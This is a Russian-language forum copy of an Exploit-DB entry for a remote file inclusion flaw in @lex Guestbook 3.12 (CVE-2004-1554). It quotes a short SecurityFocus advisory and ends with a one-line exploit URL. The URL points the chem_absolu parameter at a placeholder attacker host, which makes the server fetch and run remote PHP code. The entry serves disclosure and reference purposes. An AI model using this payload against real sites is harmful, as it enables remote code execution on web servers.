- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 24638
- Проверка EDB
-
- Пройдено
- Автор
- HIMEUR NOURREDINE
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2004-1554
- Дата публикации
- 2004-09-27
@lexPHPTeam @lex Guestbook 3.12 - PHP Remote File Inclusion
Код:
source: https://www.securityfocus.com/bid/11260/info
A vulnerability is reported to exist in the @lexPHPTeam @lex Guestbook software that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system. The issue exists due to improper validation of user-supplied data.
Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.
http://www.example.com/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f
- Источник
- www.exploit-db.com